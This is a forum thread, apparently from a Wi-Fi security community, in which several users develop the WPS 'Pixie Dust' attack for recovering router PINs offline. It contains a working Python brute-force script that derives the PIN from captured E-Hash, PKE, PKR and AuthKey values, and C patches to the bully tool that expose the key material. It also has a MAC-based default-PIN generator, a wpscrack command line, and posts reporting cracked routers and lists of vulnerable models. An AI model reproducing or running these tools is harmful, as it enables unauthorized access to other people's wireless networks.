Printable View
Wonderful! Unfortunately I don't have any ralink devices to test :[ but I will certainly test with some broadcom routers which have low entropy after boot. If you could contact me via email (my [email protected]) or Skype (click that little symbol under my name) that would be great! I'm working with a few other people and I'm hoping we can use your knowledge and ralink PoC and incorporate it into a complete project. Thanks again wiire!!Quote:
Originally Posted by wiire
WoW
I am so glad to see this screenshot ;)
The first "public" pixie dust attack... "sometimes dreams comes true" :p
Great job wiire .... :cool:
For the cheksum maybe the fastest will be to have a full pin diccionnary and just "grep" (grab) from the file the second half for PSK2 brute force instead of genrating the cheksum live.
I do not want to make you loose your time, i am very bad at maths and with number.
i get the process but i have difficulties to "see concretly the element involved"
I will try and have a look at your code to try to understand but i do not know C
Would you mind to tell me (us) in this example which part of "auth key" is used for genrating the HMAC256 (e-hash) ?
i guess it is the same lenght that is used to create the string for PKE and PKR and that the process is the same... could you confirm that to me?
Could you tel us also which tp-link model is it concretly and the wifi chipset that it uses?
Could you pass me a probe response from your routeur? i would like to start a kind of data base for everybody where we list affceted devices.
Thank you for sharing with us your work and congratulation
Awesome ! I can't wait to see the source and to have this published !!
Hey Kcdtv ! toujours sur la breche hein ? ;)
Thank you guys.
@soxrok2212
Ok, added on Skype. I'll be busy for the next 4 - 5 days, so I'll "pause myself". Looking forward to work with the 'crew', though. :)
@kcdtv
Yeah, I know what you mean referring to the checksum digit: computing it everytime or having an array of already pre-computed digits. Could be an option.
In any case bruteforcing 11'000 digits or 20'000 doesn't make any difference on modern processors (after the PRNG seed is bruteforced). Also, if the PIN is chosen by the user, then it's most likely that the checksum won't match (odds are 1/10).
I'm not sure about your question on the AuthKey. It is the key used in the HMAC_SHA-256 hash function and it's 32 bytes (256 bits) long (it's not truncated).
To make an example: E-Hash1 = HMAC_SHA-256{AuthKey [32 bytes]}(ES-1 [16 bytes] || PSK1 [16 bytes] || PKE [192 bytes] || PKR [192 bytes]).
PSK1 it the first half of the PIN converted into an array of characters without termination ('\0'), hashed (HMAC_SHA-256) with AuthKey as a key considering the first 16 bytes (half of the hash digest). Just noticed I made the array twice as big...
PKE, PKR, E-Hash1 and E-Hash2 can be all gathered from a wireshark capture. To get AuthKey I have modified the source code of bully. The data is fed to the program as arrays of characters and then parsed and converted into byte arrays.
I'll re-organize the code soon and add some comments. I forgot to release some memory before the program's exit...
I will do more testing later on and send you some data. Just wait a few days... :)
If you have any other question send me a PM with your Skype ID or email or just reply here if not too long... :) I'll contact/reply you.
@wiire..great attempt!...I did a capture with wireshark and extracted the following details for my target
7d:3f:c7:17:20:ec:52:05:84:69:76:e6:60:9e:aa:0e:8c :e3:ea:a1:ed:36:4f:54:96:c4:86:b2:72:91:86:d6 # E hash 1
55:ca:83:c9:49:05:79:f8:3b:09:57:78:e1:4d:db:bb:21 :ee:f2:72:5a:02:7e:31:5f:02:ee:b3:72:f0:fc:a3 #E-hash 2
cb:b9:a9:6d:eb:35:94:f7:da:c0:55:be:0d:04:5e:ed:52 :7d:f5:a1:c2:83:68:d2:3d:50:5e:83:ee:3c:d4:20:e6:6 c:07:d8:6b:c9:ea:52:ad:59:34:59:ff:9c:23:d2:d5:2a: 5a:74:a6:c5:fe:8b:0b:8e:c6:09:43:be:c5:df:92:93:77 :6f:12:57:85:ef:bb:a0:b6:58:b8:d2:97:7a:6f:70:f4:2 5:35:36:61:d2:c2:ef:be:38:82:a4:1d:3d:cf:03:3c:c5: d3:a6:52:b0:97:12:5b:a9:f3:0f:83:d0:c9:17:0e:97:cf :e5:9e:67:8c:64:55:30:90:47:25:c4:2c:34:11:49:32:a 2:4e:72:15:93:55:b4:64:87:1c:76:63:cd:b9:dd:57:48: c4:a0:74:e4:0b:f7:10:97:4b:11:07:98:ee:98:6c:a5:71 :f3:85:f4:36:dd:cd:35:4c:e3:3d:ef:43:09:f2:52:ef:d 1:db:a6:c1:f9:ae:b5:7f:61 #pkr
3b:4c:d9:d5:17:e6:db:19:bc:b8:da:d7:f8:91:5d:a5:3b :4a:c8:ec:f2:17:a7:11:a4:3a:9b:d5:5e:d9:a2:b8:78:3 1:70:ae:57:be:be:0c:b2:5e:03:5f:34:28:a4:16:47:b4: 36:e7:24:71:69:54:de:0d:aa:f1:56:08:7a:d0:22:47:1f :0a:5e:2d:32:6c:0e:18:16:db:b5:89:cf:39:cb:3d:a1:f 3:05:cc:b3:a3:59:92:45:aa:45:35:1e:d8:8e:05:54:45: 74:b1:dd:8d:64:b7:6d:5e:37:c6:9c:e9:18:3d:e7:af:6b :73:c1:66:c9:ce:1a:3c:b5:f7:f3:65:be:3a:1b:29:8c:4 1:09:16:4c:b9:f1:df:41:66:99:81:91:82:a1:80:bc:7b: 1e:c9:4d:f2:62:ca:c0:50:3a:c5:5f:cd:17:dd:97:cc:b4 :82:06:15:b2:4d:1c:67:7f:fb:06:9a:c5:19:5c:ce:b0:a 2:90:d6:af:0a:a8:bc:08:d6 # pke
These values are from a tp-link router too...the only difficulty i am having is calculating the Authkey..any suggesstions? ( I haven't seen anything tags like authkey in the wps message 2 in wireshark)
Hmmm, I didn't get any requests on Skype but I did get one on Google, is that you? I have a couple questions so I'll stay on google hangouts or whatever its called if you come back on today =DQuote:
Originally Posted by wiire
Read my last post(s).Quote:
Originally Posted by repzeroworld
@soxrok2212
Don't think so but I have no idea how that works so... might be? Now you should see my request on Skype. It'll will be probabily faster via email (see your inbox) since we obey to different time zones. :D
so for dummies
how did you extract these again?
- PKe
- PKr
- AuthKey
- E-Hash1
- E-Hash2
PKE, PKR, E-Hash1, and E-Hash2 can be found in wireshark. Authkey is a bit harder, you need to understand KDK. Look here and scroll until you see Key Derivation. Its tough to understand however, tool isn't ready for prime time but we will soon have everything be automated.
I see.
Is it cleat text or you need to push the cap through some utility?
did you challenge the AP with reaver to get the data?
seems like there's an another project on Pixie Dust.
http://www.crack-wifi.com/forum/topi...ns.html#p75984
only it's in French.
any natives?
Need to modify bully. That French forum is essentially the same thing as we have on here
Normally the router should correct the checksum and just admit valide PIN (that respects the rules of the wifi aliance) also a few routers showed to admit non-legitmate PIN (without checksum)Quote:
@kcdtv
Yeah, I know what you mean referring to the checksum digit: computing it everytime or having an array of already pre-computed digits. Could be an option.
In any case bruteforcing 11'000 digits or 20'000 doesn't make any difference on modern processors (after the PRNG seed is bruteforced). Also, if the PIN is chosen by the user, then it's most likely that the checksum won't match (odds are 1/10).
Anyway that's a detail and as you sayed wil not make any difference...
The next big chalenge is to set the brute force of the seed for models with a "more complex" :rolleyes: pattern than ES-1=ES-2=0
my english is so-so and i often difficulties to understand myself in shakspeare's language. People says english is easy but they are wrong, or it is because they don not mind to speak with faults or imprecislyQuote:
I'm not sure about your question on the AuthKey. It is the key used in the HMAC_SHA-256 hash function and it's 32 bytes (256 bits) long (it's not truncated).
To make an example: E-Hash1 = HMAC_SHA-256{AuthKey [32 bytes]}(ES-1 [16 bytes] || PSK1 [16 bytes] || PKE [192 bytes] || PKR [192 bytes]).
By the way you exactly answered my questions ;)
Thanks
i am native and i actually moderate this forum with Spawn ("qolund" here, see message #32)Quote:
Originally Posted by wn722
We are working all together, don't wory for this, if we discover something relevant in crack-wifi.com i will post it as soon as poosible here in english.
wiite did half of the job by
1) making the first public attack vs ralink
2) coding the "Ralink" case ES-1=ES-2=NULL
we need to do the second half
1) making the first atack vs broadcom
2) coding the broadcom case where brute force of PRNG is needed
and we are all there basically... Yesterday we made half of the way
I also openedd a thread on a spanish forum to get more colaboration (but we just started it, it is stil not offcialy launch and we are 2 admin with 2 users :o )
abnyway, if something comes out one way or the other it wil be known here inmediatly :)
let's keep on the good work! Cheers to everybody
Let me quote part the WPS specification document (hope I'm allowed):Quote:
Originally Posted by kcdtv
"For 8-digit numeric PINs, the last digit in the PIN is used as a checksum of the other digits. This has the disadvantage of reducing the entropy of the PIN. It has the advantage, however, of enabling errors in user input of the PIN to be detected and potentially corrected before the PIN is actually used in the Registration Protocol. Users of course are not expected to compute checksums for passwords they choose, so user-specified Device Passwords do not include a checksum digit."
"Checksum digits are only included and validated for the Default (PIN) device password type, and only if an 8-digit PIN is used."
You may be right but of course, vendors do what they want... we know. I saw PINs that didn't match the checksum too. I'll add the checksum optimization soon.
English IS difficult, a new language is. That's why Esperanto was invented :) By the way, I'm a non-native speaker. I learned english (mostly) on the Internet so my speaking could be a bit misleading sometimes.Quote:
Originally Posted by kcdtv
@wiire, So when will be able to try your tool? Can you send your e-mail with p.m? Thanks :)
Soon hopefully. I'm kinda busy at the moment. I'll host the code on GitHub and make a new thread with tutorial when completed or available for "beta testing". Let's stick to the subject's thread for now. If someone has information or suggestions on the PNRG attack, please share.Quote:
Originally Posted by casperass
I just know one case of a router model that has a default PIN that doesn't respect the checksum rule , it was used by telefonica (spanish ISP) and it is the "Amper" ASL-26555Quote:
Originally Posted by wiire
otherwise i always saw default PIN that respect the checksum rules
for the checksum if you need any help i can explain you every step in details.
this is the ZaoChunsheng C code called ComputePIN and at the end you can see the function he uses to generate the checksum with a while loop
Code:#include ＜stdio.h＞
#include ＜stdlib.h＞</code>
int main()
{
unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;
printf("ComputePIN-C83A35\n");
printf("Description:\n");
printf("If your wireless router MAC address start with \"C83A35\",\n");
printf("type the other six digits, you might be able to get the \n");
printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
printf("Input MAC Address(HEX):c83a35");
scanf("%x",&PIN);
printf("MAC Address(HEX) is: C83A35%X\n",PIN);
printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
return 0;
}
unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;
}
This PDF is VERY interesting : it is realiy focused on brute force issues vs Diffie-HellmanQuote:
If someone has information or suggestions on the PNRG attack, please share.
Exploring Diffie-Hellman Encryption
Anyone who has an XFINITY gateway... what are your model numbers? Seems like Comcast might have a HUGE problem to deal with soon...
Can u post a mirror of the link?Quote:
Originally Posted by wiire
Thanks
Can u post a mirror of the link?
Thanks
code removed
code removed
hey can anyone share the method of extracting
PKe
- PKr
- AuthKey
- E-Hash1
- E-Hash2
from cap files?
@ dathead
i dindn't learnt C or cryptologie (or maths) this week-end so I don't really get the details... (at all)
If i undesrtand well vendors uses may have used this "random function" :
http://opencores.org/ocsvn/openrisc/...t/src/rand.cxx
thank you for sharing your code , great job :)
Hi Guys,
I have coded the Pixie Dust Attack just when ES1=ES2=0 for Ralink devices. I have used the C code as test vector for the input data.
You can find it here : https://bitbucket.org/dudux/wpsoffline/
I am running out of time, but I would like to implement the bruteforce for the PRNG state for Broadcoms. After all, I would like to translate it to C into Reaver or bully. But surely someone is better C programmer and got more time than me.Code:import hashlib, hmac
PK_E = "11e11709c0836c10e5a93a415f7869c5351f7218ab68867c3a1f8dbb9b8f984c"\
"e0eabcbfd212fdc04fd9b3675e9dd9578d53ed5904177bdbe4fe64008a4a47de"\
"50e7fc6409dc750b295565f54f1fe78582d78de0fac72675677cb1c85c5ca46a"\
"5fced284ad79a27b4c38038b207ee76d3d556d7c3606310e52f5c6123a1f4997"\
"6566cc21c31d40e5412decb2712d07667ac0803b21ca1df15f8f25814dc313cf"\
"7bcdffeac436b5f2d40ceb18df5d90ac1e545eddd43ec7e78d4970d313a65746".decode("hex")
PK_R = "531ff143e7ef3663de555704904fbe5417a2b465f175cf55e01ab94cff9156d3"\
"b6c272d1315fa70c4719897cea28f984ba0eccf22e86f48d4f8a275fcc78e37a"\
"b81e917a376e038595ab980d57898224aed228052f29efa6299f11cd4d7aa562"\
"b7baf1404ae8a15b70c130718cb1e0db6a32af3be2eb073927ef414ea2fd5ced"\
"6595a95c5e28fa3badf69ddb15f9f74deb1690139122eab14f99adc9d360f7d4"\
"f066fab35b77a46eb7286172eae8dd7eda768849307f9b00f06d69571b9da243".decode("hex")
eHash1 = "c14b83a3415999bba082f467872fd4bc9b79778b33d1d20cab55cb7d0b96cf43".decode("hex")
eHash2 = "3516ace7cd46bcbcac83b3065be66a89186a54da8800d336041e8ab847929416".decode("hex")
AuthKey = "d5c7e4a9fb5911b31dcbf80db712b34ed71a9218c9c111992c60d883e197e9ea".decode("hex")
# if ES1,ES2 are found out, recover the halves of PIN
second_half = first_half = 0
es1 = es2 = '\00' * 16 # (str(es2).zfill(32)).decode('hex')
for first_half in xrange(10000):
PSK1_guess = hmac.new(AuthKey, (str(first_half)).zfill(4), hashlib.sha256).digest()[:16]
eHash1_guess = hmac.new(AuthKey, es1 + PSK1_guess + PK_E + PK_R, hashlib.sha256).digest()
if (eHash1 == eHash1_guess): #First half done
for second_half in xrange(10000):
PSK2_guess = hmac.new(AuthKey, (str(second_half)).zfill(4), hashlib.sha256).digest()[:16]
eHash2_guess = hmac.new(AuthKey, es2 + PSK2_guess + PK_E + PK_R, hashlib.sha256).digest()
if (eHash2 == eHash2_guess):
print "PIN FOUND! %04d%04d" %(first_half,second_half)
# doWPSprotocolWithPINguessed() #TODO
exit()
Proost!
I forgot to say that: "I blindly implemented the attack in the proof-of-concept of "wpscrack.py". It is only useful for Ralink's devices as TPLINKS routers.
I have not tested the attack in live! This code does the right offline bruteforcing. However, IT HAS NOT BEEN TESTED YET! Feel free to tweak it as you wish or do commit requests.
Usage:
Quote:
wpscrack_mod:$ sudo python wpscrack.py -i mon0 -b [BSSID] -s [ESSID] --offline -vv
Updated with a database in the original post :D
dudux, It say all the time "PIN FOUND! 57334196" for every routers.
Still Attack not available for BroadCom :confused: ..
You need to edit the file and put your own data. I dont know where PKR,PKE data is in the packets, thats where im stuck.Quote:
Originally Posted by casperass
Tryed the tool and is giving me
But im trying against Broadcom and not Ralink, as said above Broadcom is not implemented yet.Code:Trying 00000000
-> 802.11 deauthentication
-> 802.11 authentication request
TIMEOUT!!
I hope guys keep developing this subject, its very interesting but over my personal understanding to put in practice, so ill have to wait.
Would it be feasible to add a import from cap feature? i guess that would put some testers running. Thanks everyone
@everyone There is NO official and complete tool available yet. Stop asking. When it is available, one of us will make a post.
@dudux was the realtek.cap file what you used to make wpsOffline.py? Unless im doing it wrong, Im not getting the same pke, pkr, or any of it.
SMCD3GNV and WRT160Nv2 confirmed vulnerable!
the tool works i have corrected the code now
@sorox2212
cracked 3 routers
and all of them were right :D
Can you post the model numbers, manufacturers, and hardware numbers so I can add it to the database?
Dudu has asked me to post a python implementation for Ralink devices! You can get it here: https://bitbucket.org/dudux/wpsoffli...e.py?at=master
All credits go to dudu! Look at the help section for the arguments. Good luck an post any successes with models here! Thanks!!!!
Tried the tool also and it is only giving the same results, but i am trying against an ralink tplink router. Unmodified code does the same.Quote:
Originally Posted by Lisa Chu
Looking through the wireshark logs, it is attempting to authenticate, but the script isn't recognizing it is getting a response, I don't really
know enough about python to dig into it, more of a perl guy than python. Starting to learn it though. Trying to extract the part in wpscrack.py
that creates the authkey and feed it what it wants to spit out the authkey, if that's even going to work... From what I am reading about the
KDK it only partialy makes sense to me.
Tried the modified version of bully also, just seems to run normaly, trying pins and moving on to the next. Still confused on how this is
supposed to give the Authkey, which is where I am stuck. I assume it doesn't give it to you automatically, so how do you get it to give
the authkey?
I can get everything else as it's in plain sight. I have a couple ralink routers at my disposal to test this on also.
I thought it wasn't obtained from wireshark and you had to run it through the KDK... That just confused me even more...Code:maingroup.add_argument('-ak', '--AuthKey', type=str, nargs='?', help='AuthKey obtained from wireshark')
WPSCrack.py I guess only works with Atheros wireless adapters. Try this to get more info.. comes from Hack Forums:
Then please post this here:Code:int wpa_debug_level = MSG_INFO; // change it to MSG_DEBUG
2: Or, manually add some prints in the (wpa_supplicant) source. Let's take as an example bully (you could try reaver if you wish):
- Download the zip file. Unzip it.
- Go to bully-master/src/wps and open wps_common.c with a text editor.
- Go to line 122 and add something similar (just a print):
Code:
os_memcpy(wps->emsk, keys + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN,
WPS_EMSK_LEN);
/****** ADD THIS PART ******/
printf(" > AuthKey: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_AUTHKEY_LEN; pixiecnt++) {
printf("%02x", *(wps->authkey + pixiecnt));
if (pixiecnt != WPS_AUTHKEY_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
wpa_hexdump_key(MSG_DEBUG, "WPS: AuthKey",
- Now open wps_registrar.c.
- Go to line 1719 (inside wps_process_e_hash1 function) and add:
Code:
wpa_hexdump(MSG_DEBUG, "WPS: E-Hash1", wps->peer_hash1, WPS_HASH_LEN);
/****** ADD THIS PART ******/
printf(" > E-Hash1: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
printf("%02x", *(wps->peer_hash1 + pixiecnt));
if (pixiecnt != WPS_HASH_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
return 0;
- Then in the function below (inside wps_process_e_hash2) add:
Code:
wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", wps->peer_hash2, WPS_HASH_LEN);
/****** ADD THIS PART ******/
printf(" > E-Hash2: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
printf("%02x", *(wps->peer_hash2 + pixiecnt));
if (pixiecnt != WPS_HASH_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
return 0;
First 3 are optional, last 6 are mandatory to crack.Code:AP Manufacturer:
Model name/number:
Chipset:
N1 Nonce:
Authkey:
PKE:
PKR:
E-Hash1:
E:Hash2:
Yeah authkey is generated, sorry I just copied&pasted.........
The code is right here. I guess that the community will release a fresh & quick patch for reaver or bully. Be patient and try to understand the flaw itself! ;)
Code:def gen_keys(self):
pubkey_enrollee = self.bignum_unpack(self.PK_E)
pubkey_registrar = pow(2, self.secret_number, self.prime_int)
shared_key = self.bignum_pack(pow(pubkey_enrollee, self.secret_number, self.prime_int), 192)
self.PK_R = self.bignum_pack(pubkey_registrar, 192)
self.RNonce = os.urandom(16)
DHKey = hashlib.sha256(shared_key).digest()
KDK = hmac.new(DHKey, self.ENonce + self.EnrolleeMAC + self.RNonce, hashlib.sha256).digest()
self.AuthKey, self.KeyWrapKey, self.EMSK = self.kdf(KDK, 'Wi-Fi Easy and Secure Key Derivation', [256, 128, 256])
self.R_S1 = '\00' * 16 #random enough
self.R_S2 = '\00' * 16
self.PSK1 = hmac.new(self.AuthKey, self.pin[0:4], hashlib.sha256).digest()[:16]
self.PSK2 = hmac.new(self.AuthKey, self.pin[4:8], hashlib.sha256).digest()[:16]
self.RHash1 = hmac.new(self.AuthKey, self.R_S1 + self.PSK1 + self.PK_E + self.PK_R, hashlib.sha256).digest()
self.RHash2 = hmac.new(self.AuthKey, self.R_S2 + self.PSK2 + self.PK_E + self.PK_R, hashlib.sha256).digest()
Thanks for the script Dudux, worked for me on a belkin F5D8236-4 v3.